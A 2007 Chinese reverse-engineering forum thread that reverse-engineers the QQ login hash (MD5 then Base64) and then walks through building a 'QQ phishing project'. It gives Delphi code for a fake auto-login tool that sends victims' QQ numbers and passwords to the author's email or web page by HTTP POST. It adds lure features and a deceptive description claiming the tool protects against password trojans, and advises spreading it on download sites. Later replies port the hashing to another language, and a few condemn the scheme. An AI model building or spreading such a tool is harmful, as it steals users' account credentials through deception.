首页
社区
课程
招聘
[转帖]探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程
发表于: 2007-9-20 06:32 12270

[转帖]探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程

2007-9-20 06:32
12270
文章作者:zshoucheng
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

转载请保持文章完整性

1.QQ登陆加密算法

QQ命令行启动方式:

Quote:

QQ.exe /START QQUIN:QQ号码 PWDHASH:加密后的QQ密码 /STAT:登陆状态(40隐身,41正常)

其中PWDhash 原本是为实现 QQ 与 TM无缝切换而用的将密码加密传递的参数。使得用户能在 QQ 与 TM 之间快速切换而不用再次输入密码。

PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。

下面以Delphi代码讲解,附件中有Delphi的实现单元和相应的C#类,目的是让大家能够选择自己喜欢的编程语言实现

获取QQ命令行启动参数函数:(参数:QQ号码、QQ密码、登陆状态)
Code Language : Delphi

function GetCommandLine(QQNum, QQPw: string; QQState: integer): string;
type
   TempChar = array[0..15] of char;
var
   md5: TIdHashMessageDigest5;
begin
   md5 := TIdHashMessageDigest5.Create;
   result := ' /START QQUIN:' + QQNum + ' PWDHASH:' + Base64(TempChar(md5.HashValue(QQPw))) + ' /STAT:' + IntToStr(QQState);
   md5.Free;
end;

Parsed in 0.010 seconds
上面函数用到的Base64函数为:
Code Language : Delphi

function Base64(Src: string): string;
const
   DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
   i, ModLen: integer;
   Current: string;
   Buf: array[1..3] of Byte;
   NewBuf: array[1..4] of Byte;
begin
   result := '';
   if Src = '' then
      exit;
   ModLen := Length(Src) mod 3;
   while Length(Src) > 0 do
   begin
      FillChar(Buf, 3, #0);
      Current := Copy(Src, 1, 3);
      Src := Copy(Src, 4, Length(Src) - 3);
      for i := 1 to 3 do
         Buf[i] := Ord(Current[i]);
      NewBuf[1] := Buf[1] shr 2;
      NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
      NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
      NewBuf[4] := Buf[3] and $3F;
      for i := 1 to 4 do
         result := result + DataSet[NewBuf[i] + 1];
   end;
   if ModLen >= 1 then
      result[Length(result)] := '=';
   if ModLen = 1 then
      result[Length(result) - 1] := '=';
end;

Parsed in 0.025 seconds
这样就可以实现从命令行直接登陆QQ了。

另外我们还要获取QQ的安装路径:
在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\PLATFORM_TYPE_LIST 下面有几个子键,1中的 TypePath 的键值为 QQ 的安装路径,2中的 TypePath 的键值为 TM 的安装路径。我们就可以通过读取注册表来获取QQ的安装路径了(其实现比较简单,请参见源码)。

2.简单打造QQ钓鱼工程

有了上面的QQ自动登陆的实现,我们就可以写出一个QQ自动登陆器了。这就和我要说的QQ钓鱼工程联系上了,聪明的你一定也想出来了。
编写一款优秀的QQ木马去截获QQ密码框中的密码对我等小菜来说难以实现,但我们却可以变相地去获取QQ密码:
当别人使用我们的QQ自动登陆器登陆QQ时,我们可以把他所输入的QQ以及密码发送到我们的邮箱或指定网页上,这里给出ASP发信的代码:
Code Language : Delphi

function HtmlEncode(s: string): string;
var
   i, v1, v2: integer;
   function i2s(b: byte): char;
   begin
      if b <= 9 then result := chr($30 + b)
      else result := chr($41 - 10 + b);
   end;
begin
   result := '';
   for i := 1 to length(s) do
      if s[i] = ' ' then result := result + '+'
      else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
      begin
         v1 := ord(s[i]) mod 16;
         v2 := ord(s[i]) div 16;
         result := result + '%' + i2s(v2) + i2s(v1);
      end
      else result := result + s[i];
end;

function UpperCase(AStr: string): string; overload;
var
   LI: Integer;
begin
   Result := AStr;
   for LI := 1 to Length(Result) do
      Result[LI] := UpCase(Result[LI]);
end;

// 以Post方式发信
function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = 'Send OK!'): Boolean;
var
   hSession: HINTERNET;
   hConnect, hRequest: hInternet;
   lpBuffer: array[0..1024 + 1] of Char;
   dwBytesRead: DWORD;
   HttpStr: string;
   HostName, FileName: string;
   FTResult: Boolean;
   AcceptType: LPStr;
   Buf: Pointer;
   dwBufLen, dwIndex: DWord;
   procedure ParseURL(URL: string; var HostName, FileName: string);
      procedure ReplaceChar(c1, c2: Char; var St: string);
      var
         p: Integer;
      begin
         while True do
         begin
            p := Pos(c1, St);
            if p = 0 then Break
            else St

:= c2;
         end;
      end;
   var
      i: Integer;
   begin
      if Pos(UpperCase('http://'), UpperCase(URL)) <> 0 then
         System.Delete(URL, 1, 7);
      i := Pos('/', URL);
      HostName := Copy(URL, 1, i);
      FileName := Copy(URL, i, Length(URL) - i + 1);
      if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
         SetLength(HostName, Length(HostName) - 1);
   end;
begin
   Result := False;
   hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
   try
      if Assigned(hSession) then
      begin
         ParseURL(aUrl, HostName, FileName);
         hConnect := InternetConnect(hSession, PChar(HostName),
         INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
         AcceptType := PChar('Accept: */*');
         hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
            nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
         HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
            PChar(FTPostQuery), Length(FTPostQuery));
         dwIndex := 0;
         dwBufLen := 1024;
         GetMem(Buf, dwBufLen);
         FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
            Buf, dwBufLen, dwIndex);
         if FTResult = True then
         try
            while True do
            begin
               dwBytesRead := 1024;
               InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
               if dwBytesRead = 0 then break;
               lpBuffer[dwBytesRead] := #0;
               HttpStr := HttpStr + lpBuffer;
            end;
            Result := pos(strPostOkResult, HttpStr) > 0;
         finally
            InternetCloseHandle(hRequest);
            InternetCloseHandle(hConnect);
         end;
      end;
   finally
      InternetCloseHandle(hSession);
   end;
end;

Parsed in 0.081 seconds
我们可以给我们的QQ自动登陆器加多些功能,以吸引别人使用(钓鱼嘛~),比如:

QQ性别任意修改:
Code Language : Delphi

procedure ChangeSex(sex:string);
var
   tmp:pchar;
   h,h1,h2,h3,h4,h5:HWND;
   id:integer;
begin
h := FindWindow('#32770','QQ2007设置');
if h=0 then
h := FindWindow('#32770','QQ2006设置');
if h<>0 then begin
h1 := FindWindowEx(h,0,'#32770',nil);
h2 := FindWindowEx(h1,0,'#32770',nil);
h3 := GetDlgItem(h2,1356);
h4 := GetDlgItem(h2,551);
h5 := GetDlgItem(h1,1343);
SendMessage(h3,32,0,0); //WM_SETCURSOR
id := SendMessage(h3,323,0,longint(pchar(sex))); //给QQ性别组合框加一项
SendMessage(h3,334,id,0);   //选择所加的那项
SendMessage(h4,13,10,longint(@tmp));
SendMessage(h4,12,0,longint(@tmp));
SendMessage(h5,245,0,0);   //点击确定按钮
end
else
Application.MessageBox('请先打开QQ个人设置窗口!','提示',MB_OK);
end;

Parsed in 0.021 seconds
QQ强行聊天:
Code Language : Delphi

procedure QQChat(number:string);
var
inum:integer;
begin
if trystrtoint(number,inum) then
   begin
      if inum>10000 then
      ShellExecute(handle,nil,pchar('Tencent://Message/?Menu=YES&Exe=&Uin='+number),nil,nil,SW_NORMAL)
      else
      Application.MessageBox('无此QQ号码!','提示',MB_OK);
   end
else
Application.MessageBox('请输入有效的QQ号码!','提示',MB_OK);
end;

Parsed in 0.011 seconds
这些功能的实现都是再简单不过了,但对于不懂编程的人来说却觉得很神奇(我给我身边的同学、朋友用的时候他们都崇拜地对我说:你太厉害了!而我,背后暗笑中……)

程序最终效果如图:



到这里我们的QQ钓鱼工程就快完成了,我们可以写个使用说明,使用点社会工程学技巧:

Quote:

程序功能:
1.自动登陆
能有效防止所有的QQ盗号木马,因为QQ盗号木马是通过截获QQ登陆窗口实现盗号的
使用本软件登陆QQ,即使你中了QQ木马,你的QQ也不会被盗

2.QQ性别任意修改
可以将你QQ性别修改为任意的(你的QQ好友查看你的QQ资料时即可看到效果)

3.强行聊天
能和任意QQ号码聊天,无须添加对方为好友
……

然后发到国内一些下载站上去,或者在一些论坛宣传……你就等着收QQ吧!

郑重声明:本文旨在技术交流,其中介绍的技术仅供测试,非法盗取他人帐号是违法的。对使用本文所介绍的技术引起的任何法律问题与本人无关!

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (20)
雪    币: 179
活跃值: (131)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
毁了一批软件
2007-9-20 11:59
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
3
看了这个以后,我都不敢再用此类软件了,除非自己写的,呵呵

改天我发个开源的ASM的上来
2007-9-20 12:59
0
雪    币: 458
活跃值: (36)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
呵呵,打烂人家的饭碗了。
2007-9-21 02:15
0
雪    币: 247
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
这个md5加密函数在哪??
2007-9-21 17:56
0
雪    币: 209
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
期待!
Delphi代码看不懂
2007-9-21 19:33
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
有点意思,呵呵
2007-9-21 19:50
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
8
这个好像Delphi自带,网上很多的
2007-9-22 11:51
0
雪    币: 229
活跃值: (70)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
9
不错 ~~~~~~~~~~~
2007-9-23 00:00
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
10
先发个易语言的QQ加密算法上来

====================Base64==========================


.版本 2

.子程序 Base64, 文本型
.参数 Src, 字节集
.局部变量 DataSet, 文本型
.局部变量 Current, 文本型
.局部变量 Length, 整数型
.局部变量 Buf, 字节集
.局部变量 NewBuf, 文本型, , "4"
.局部变量 i, 整数型
.局部变量 ModLen, 整数型
.局部变量 result, 文本型

DataSet = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”
Length = 取字节集长度 (Src)
.如果真 (Length < 1)
    返回 (“”)
.如果真结束
ModLen = Length % 3
.如果真 (ModLen > 0)
    Src = Src + 取空白字节集 (3 - ModLen)  ' 补空
.如果真结束
.变量循环首 (1, 取字节集长度 (Src), 3, i)
    Buf = 取字节集中间 (Src, i, 3)
    NewBuf [1] = 右移 (Buf [1], 2)
    NewBuf [2] = 位与 (位或 (右移 (左移 (Buf [1], 6), 2), 右移 (Buf [2], 4)), 63)
    NewBuf [3] = 位与 (位或 (右移 (左移 (Buf [2], 4), 2), 右移 (Buf [3], 6)), 63)
    NewBuf [4] = 位与 (Buf [3], 63)
变量循环首 (1, 4, 1, i)
    NewBuf [i] = 取文本中间 (DataSet, NewBuf [i] + 1, 1)
    result = result + NewBuf [i]
.变量循环尾 ()


.变量循环尾 ()
..如果真 (ModLen > 0)
    .如果 (ModLen = 1)
        result = 文本替换 (result, 取文本长度 (result) - 1, 2, “==”)
    .否则
        result = 文本替换 (result, 取文本长度 (result), 1, “=”)
    .如果结束

.如果真结束
返回 (result)


由于数据摘要(MD5值)文本长度为32,这里将每两位文本按十六进制转换为十进制字节,生成一个长为16的摘要字节集。


.版本 2
.支持库 dp1

.子程序 H16to10, 文本型
.参数 HChar, 文本型, , 十六进制文本
.局部变量 TempChar, 文本型
.局部变量 result, 长整数型
.局部变量 i, 整数型

.变量循环首 (1, 取文本长度 (HChar), 1, i)
    TempChar = 取文本中间 (HChar, i, 1)
    result = (寻找文本 (“0123456789ABCDEF”, TempChar, , 真) - 1) × 求次方 (16, 取文本长度 (HChar) - i) + result
.变量循环尾 ()
返回 (到文本 (result))


.子程序 qqmd5, 字节集
.参数 qqpass, 文本型
.局部变量 Md5Char, 文本型
.局部变量 TempChar, 字节集
.局部变量 i, 整数型

Md5Char = 取数据摘要 (到字节集 (qqpass))
TempChar = 取空白字节集 (16)
.计次循环首 (16, i)  ' 由于数据摘要文本长度为32,这里将每两位文本按十六进制转换为十进制字节,生成一个长为16的摘要字节集。
    TempChar [i] = 到字节 (H16to10 (取文本中间 (Md5Char, (i - 1) × 2 + 1, 2)))
.计次循环尾 ()
返回 (TempChar)




最后调用



.子程序 _按钮登陆_被单击
.局部变量 md5, 文本型

运行 (编辑框_QQ路径.内容 + “ /START QQUIN:” + 组合框_QQ号.内容 + “ PWDHASH:” + Base64 (qqmd5 (编辑框_QQ密码.内容)) + “ /STAT:40”, 假, )

2007-9-23 12:52
0
雪    币: 247
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
期待asm版本 易的看不懂
2007-9-24 08:26
0
雪    币: 162
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
易语言看着就晕……
2007-9-25 12:14
0
雪    币: 375
活跃值: (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
13
的确毁了一批软件……
。。
2007-9-25 19:38
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
竟然有e版本的哈
2007-9-29 17:19
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
15
哦,复制出来的代码可能不好看,但在它的IDE里条理比较清楚了,它把子程序

参数,变量用表格方式表现出来,各个调用都用虚线画出,比任何其他语言都要直观,

各种命令都是中文,支持首写输入,所以在输入速度方面比其他语言还要快,符合国人的习

惯,正因为这样,所以用惯了其他语言的程序员都会不习惯,建议大家可以下载来研究研究!

下面我对QQ登录密码的加密算发详细解说一下:

首先对原始密码用公开的MD5算发加密,得到一个32字节的16进制文本

然后把这个16进制文本按每2位转换为10进制整数字节,得到一个16字节的字节集,如下:

子程序 qqmd5, 字节集
.参数 qqpass, 文本型
.局部变量 Md5Char, 文本型
.局部变量 TempChar, 字节集
.局部变量 i, 整数型

Md5Char = 取数据摘要 (到字节集 (qqpass)) ‘公开的MD5算发加密
TempChar = 取空白字节集 (16)
.计次循环首 (16, i)  
    TempChar [i] = 到字节 (H16to10 (取文本中间 (Md5Char, (i - 1) × 2 + 1, 2)))
.计次循环尾 ()
返回 (TempChar)



下面的子程序是16进制文本转换为10进制文本


.版本 2
.支持库 dp1

.子程序 H16to10, 文本型
.参数 HChar, 文本型, , 十六进制文本
.局部变量 TempChar, 文本型
.局部变量 result, 长整数型
.局部变量 i, 整数型

.变量循环首 (1, 取文本长度 (HChar), 1, i)
    TempChar = 取文本中间 (HChar, i, 1)
    result = (寻找文本 (“0123456789ABCDEF”, TempChar, , 真) - 1) × 求次方 (16, 取文本长度 (HChar) - i) + result
.变量循环尾 ()
返回 (到文本 (result))



最后用Base64函数对它进行加密,如下:


.子程序 Base64, 文本型
.参数 src, 字节集
.局部变量 i, 整数型
.局部变量 ModLen, 整数型
.局部变量 Current, 文本型
.局部变量 DataSet, 文本型
.局部变量 Data, 文本型
.局部变量 Buf, 字节集
.局部变量 NewBuf, 整数型, , "4"
.局部变量 result, 文本型

DataSet = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”
ModLen = 取字节集长度 (src) % 3
.如果真 (ModLen > 0)
    src = src + 取空白字节集 (3 - ModLen).变量循环首 (1, 取字节集长度 (src), 3, i)
    Buf = 取字节集中间 (src, i, 3)
    ' NewBuf[1] := Buf[1] shr 2;
    NewBuf [1] = 右移 (Buf [1], 2)
    ' NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
    NewBuf [2] = 位与 (位或 (右移 (左移 (Buf [1], 6), 2), 右移 (Buf [2], 4)), 63)
    ' NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
    NewBuf [3] = 位与 (位或 (右移 (左移 (Buf [2], 4), 2), 右移 (Buf [3], 6)), 63)
    ' NewBuf[4] := Buf[3] and $3F;
    NewBuf [4] = 位与 (Buf [3], 63)
    .变量循环首 (1, 4, 1, i)
        result = result + 取文本中间 (DataSet, NewBuf [i] + 1, 1)
    .变量循环尾 ()
.变量循环尾 ()
.如果真 (ModLen > 0)
    .如果 (ModLen = 1)
        result = 文本替换 (result, 取文本长度 (result) - 1, 2, “==”)
    .否则
        result = 文本替换 (result, 取文本长度 (result), 1, “=”)
    .如果结束

.如果真结束
返回 (result)


Base64函数对这个16字节的字节集每3位一加密,这样就要循环6次,而经过上面处理过的加密数据只有16字节,所以先要填充
DataSet = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”

DataSet 为QQ的加密参照文本

ModLen = 取字节集长度 (src) % 3
.如果真 (ModLen > 0)
src = src + 取空白字节集 (3 - ModLen)
然后进入循环

.变量循环首 (1, 取字节集长度 (src), 3, i)
  
Buf = 取字节集中间 (src, i, 3)
    ' NewBuf[1] := Buf[1] shr 2;    ‘对应的Delphi代码,下同
    NewBuf [1] = 右移 (Buf [1], 2)
    ' NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
    NewBuf [2] = 位与 (位或 (右移 (左移 (Buf [1], 6), 2), 右移 (Buf [2], 4)), 63)
    ' NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
    NewBuf [3] = 位与 (位或 (右移 (左移 (Buf [2], 4), 2), 右移 (Buf [3], 6)), 63)
    ' NewBuf[4] := Buf[3] and $3F;
    NewBuf [4] = 位与 (Buf [3], 63)
.变量循环首 (1, 4, 1, i)
‘转换为DataSet对应的字符 “
        result = result + 取文本中间 (DataSet, NewBuf [i] + 1, 1)
    .变量循环尾 ()
.变量循环尾 ()
.如果真 (ModLen > 0)
    .如果 (ModLen = 1)
        result = 文本替换 (result, 取文本长度 (result) - 1, 2, “==”)
    .否则
        result = 文本替换 (result, 取文本长度 (result), 1, “=”)
    .如果结束

.如果真结束
返回 (result)
2007-9-30 07:09
0
雪    币: 18
活跃值: (2079)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
16
发个ASM的吧
2007-10-6 00:41
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
看不明白E语的有没有别的
2007-11-15 18:15
0
雪    币: 288
活跃值: (112)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
18
网上有一个 C#版QQ 也是偷密码的。
2007-11-15 19:51
0
雪    币: 200
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
得到你病毒的本体,就知道了你的email地址,就知道你在哪里登陆,抓你同样很容易,即使你用跳板机网络警察也一样查得到
2007-12-5 00:43
0
雪    币: 213
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
不干好事,不是好同志
2007-12-5 20:15
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
看见坏人!忍不住出来冒个泡。。。。。。
2007-12-6 10:47
0
游客
登录 | 注册 方可回帖
返回
//